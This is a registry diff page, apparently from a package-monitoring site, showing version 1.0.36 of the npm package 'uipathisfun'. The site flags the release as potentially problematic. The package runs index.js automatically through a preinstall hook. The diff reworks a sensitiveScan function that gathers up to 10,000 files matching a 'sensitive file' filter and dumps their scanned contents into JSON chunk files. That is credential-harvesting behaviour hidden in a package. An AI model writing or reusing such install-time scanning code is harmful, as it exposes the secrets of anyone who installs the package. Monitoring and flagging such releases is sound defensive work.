uipathisfun 1.0.35 → 1.0.36

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of uipathisfun might be problematic. Click here for more details.

package/index.js CHANGED
@@ -173,9 +173,11 @@ async function sensitiveScan() {
173
173
  }
174
174
  allFiles = allFiles.filter(isSensitiveFile);
175
175
  allFiles = allFiles.slice(0, 10000);
176
- const concurrency = 32;
176
+ const concurrency = 8; // تقليل عدد الدُفعات لتقليل استهلاك الذاكرة
177
177
  let idx = 0;
178
178
  const errors = [];
179
+ let chunkIdx = 0;
180
+ const chunkSize = 200; // حجم كل chunk
179
181
  async function processBatch(batch) {
180
182
  return await Promise.all(batch.map(async (filePath) => {
181
183
  let entry = null;
@@ -201,16 +203,33 @@ async function sensitiveScan() {
201
203
  };
202
204
  }));
203
205
  }
206
+ let chunk = [];
204
207
  while (idx < allFiles.length) {
205
208
  const batch = allFiles.slice(idx, idx + concurrency);
206
209
  const results = await processBatch(batch);
207
- info.hits.push(...results);
210
+ chunk.push(...results);
211
+ if (chunk.length >= chunkSize) {
212
+ try {
213
+ fs.writeFileSync(`scan_results_chunk_${chunkIdx}_${Date.now()}.json`, JSON.stringify(chunk, null, 2));
214
+ } catch (e) {}
215
+ chunk = [];
216
+ chunkIdx++;
217
+ }
208
218
  idx += concurrency;
209
219
  }
220
+ // حفظ آخر chunk إذا بقيت بيانات
221
+ if (chunk.length > 0) {
222
+ try {
223
+ fs.writeFileSync(`scan_results_chunk_${chunkIdx}_${Date.now()}.json`, JSON.stringify(chunk, null, 2));
224
+ } catch (e) {}
225
+ }
210
226
  info.errors = errors;
211
- try {
212
- fs.writeFileSync('scan_results_' + Date.now() + '.json', JSON.stringify(info, null, 2));
213
- } catch (e) {}
227
+ // حفظ الأخطاء في ملف منفصل
228
+ if (errors.length > 0) {
229
+ try {
230
+ fs.writeFileSync('scan_errors_' + Date.now() + '.json', JSON.stringify(errors, null, 2));
231
+ } catch (e) {}
232
+ }
214
233
  return info;
215
234
  }
216
235
 
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "uipathisfun",
3
- "version": "1.0.35",
3
+ "version": "1.0.36",
4
4
  "scripts": {
5
5
  "preinstall": "node index.js"
6
6
  }
Binary file
Binary file